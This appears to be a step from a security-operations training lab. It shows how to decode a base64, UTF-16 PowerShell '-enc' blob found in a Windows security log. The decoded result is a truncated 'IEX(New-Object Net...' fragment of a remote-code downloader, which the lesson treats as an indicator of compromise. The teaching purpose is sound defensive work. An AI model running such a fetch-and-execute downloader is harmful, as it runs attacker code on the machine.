Undo the encoding
Pull the blob after -enc, base64-decode it, and strip the UTF-16 null bytes to read the real command:
grep -oE 'enc [A-Za-z0-9+/=]+' /srv/soc-data/windows/security.log | awk '{print $2}' | base64 -d | tr -d '\0'In the terminal
student@vulntech:~$ grep -oE 'enc [A-Za-z0-9+/=]+' /srv/soc-data/windows/security.log | awk '{print $2}' | base64 -d | tr -d '\0' IEX(New-Object Net
What comes back — an IEX(New-Object Net...) downloader — is the attacker's real intent, in the clear. You would record it as an indicator and move on to containment.